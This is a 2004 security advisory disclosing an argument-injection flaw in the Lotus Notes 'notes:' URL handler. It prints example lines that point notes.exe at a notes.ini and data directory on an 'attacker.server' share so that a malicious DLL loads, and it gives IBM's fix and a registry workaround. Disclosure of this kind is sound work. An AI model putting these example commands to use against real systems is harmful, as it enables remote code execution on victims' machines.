<<< Date Index >>>     <<< Thread Index >>>

Lotus Notes URL argument injection vulnerability




OVERVIEW
========

Lotus Notes is a groupware/e-mail system developed by Lotus Software. 
Due to its security and collaboration features it's used particularly 
by large organizations, government agencies, etc. IBM estimates it is 
used by 60 million people.

During the client-side Windows installation of Lotus Notes, a "notes:" 
URL handler is registered in the registry. An argument injection 
attack allows an intruder to pass command line arguments to notes.exe, 
which can lead to execution of arbitrary code.



DETAILS
=======

The installed registry entry causes any "notes:" URL to be opened with 
notes.exe and the URL passed as the argument. If the URL contains space 
characters, notes.exe takes the characters after that as a second 
command line argument. Any web page can cause notes.exe be started in 
this way by refering to a notes: URL.

Location of Notes configuration file, notes.ini, can be specified on 
the command line by prefixing it with an equals sign (=). The notes.ini 
file can be located on a network share. An attacker can use the URL to 
specify an arbitrary notes.ini file located on a public network share, 
so that the command run when opening the URL would be e.g.

  notes.exe =\\attacker.server\notes\notes.ini

The notes.ini file contains locations for Notes data directory, which 
in this case can be also located on a public network share. The 
notes.ini file could contain e.g.

  [Notes]
  Directory=\\attacker.server\\notes

The program uses this directory to load some dynamic libraries. 
The attacker can place arbitrary code in the init section of such DLL 
and cause it to be run during notes.exe startup. The scenario was 
successfully tested with an exploit. On opening the malicious web 
page, the victim system downloaded the DLL and ran the code in it.

The exploit requires that notes.exe isn't already running while the 
victim views the malicious web page or e-mail message, because DLL's 
are only loaded on program startup. It also requires that outgoing 
connections to Internet shares aren't blocked by firewalls or registry 
settings.



SOLUTION
========

IBM was contacted on March 17, 2004. The fix SPR# KSPR5X6VEA has now 
been released to solve the issue. As a workaround, the registry key

   HKEY_CLASSES_ROOT\Notes\Shell\Open\Command

can be removed.



CREDITS
=======

The vulnerability was discovered and researched by Jouko Pynnönen, 
Finland.




-- 
Jouko Pynnönen          Web: http://iki.fi/jouko/
jouko@xxxxxx            GSM: +358 41 5504555